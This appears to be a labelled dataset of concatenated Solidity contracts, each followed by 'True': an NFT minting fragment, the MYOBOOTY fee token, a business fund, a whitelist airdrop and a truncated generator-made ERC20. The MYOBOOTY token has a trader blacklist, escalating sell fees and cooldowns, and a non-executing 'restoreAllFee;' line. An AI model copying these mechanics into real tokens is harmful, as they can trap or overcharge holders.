_safeMint(owner(), startTokenID + i); } sceneToken.mint(owner(), 2 * count * REWARDS_PER_CLAIM); } function ownerClaim(uint256 tokenID) public nonReentrant onlyOwner { require(tokenID > 10019 && tokenID < 10220, "Token ID invalid"); _safeMint(owner(), tokenID); sceneToken.mint(owner(), 2 * REWARDS_PER_CLAIM); } }

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/* MYOBOOTY SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MYOBOOTY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"MYOBOOTY"; string private constant _symbol = "MYOBOOTY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }

True

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pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Business Fund Contract */ contract BusinessFund is Ownable { ERC20Basic public vnetToken; event Donate(address indexed _from, uint256 _amount); /** * @dev Constructor */ constructor(ERC20Basic _token) public { vnetToken = _token; } /** * @dev Sending eth to this contract will be considered as a donation */ function () public payable { emit Donate(msg.sender, msg.value); } /** * @dev Send VNET Token */ function sendVNET(address _to, uint256 _amount) external onlyOwner { assert(vnetToken.transfer(_to, _amount)); } /** * @dev Rescue compatible ERC20Basic Token * * @param _token ERC20Basic The address of the token contract */ function rescueTokens(ERC20Basic _token) external onlyOwner { uint256 balance = _token.balanceOf(this); assert(_token.transfer(owner, balance)); } /** * @dev Withdraw Ether */ function withdrawEther() external onlyOwner { owner.transfer(address(this).balance); } }

True

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pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {Address-functionCall-address-bytes-}, but with * `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Performs a Solidity function call using a low level `call`, * transferring `value` wei. A plain`call` is an unsafe replacement for a * function call: use this function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Requirements: * * - `target` must be a contract. * - the calling contract must have an ETH balance of at least `value`. * - calling `target` with `data` must not revert. */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {Address-functionCallWithValue-address-bytes-uint256-}, but * with `errorMessage` as a fallback revert reason when `target` reverts. */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract QubAirdrop20200924 is Ownable { using SafeERC20 for IERC20; uint256 public CLAIM_AMOUNT = 1813784764207981*10**5; uint256 public CLAIM_PAYMENT = 5*10**16; IERC20 public qub = IERC20(0xB2D74b7a454EDa300c6E633f5b593d128C0C0Dcf); mapping(address => bool) public isClaimed; mapping(address => bool) public inWhitelist; uint256 public addressesCountInWhitelist = 0; uint256 public claimedAddressesCount = 0; modifier checkClaim { require(!isClaimed[msg.sender]); _; } modifier checkWhitelist { require(inWhitelist[msg.sender]); _; } modifier checkPayment { require(msg.value >= CLAIM_PAYMENT); _; } function claim() public payable checkWhitelist checkPayment checkClaim { isClaimed[msg.sender] = true; qub.safeTransfer(msg.sender, CLAIM_AMOUNT); claimedAddressesCount++; } function addToWhitelist(address[] memory addresses) public onlyOwner { for (uint i = 0; i < addresses.length; i++) { if (!inWhitelist[addresses[i]]) { inWhitelist[addresses[i]] = true; addressesCountInWhitelist++; } } } function removeFromWhitelist(address participant) public onlyOwner { inWhitelist[participant] = false; addressesCountInWhitelist--; } function getEtherFund() public onlyOwner { msg.sender.transfer(address(this).balance); } function getTokenFund(address tokenAddress) public onlyOwner { IERC20 ierc20Token = IERC20(tokenAddress); uint256 tokenBalance = ierc20Token.balanceOf(address(this)); ierc20Token.safeTransfer(msg.sender, tokenBalance); } }

True

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// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * 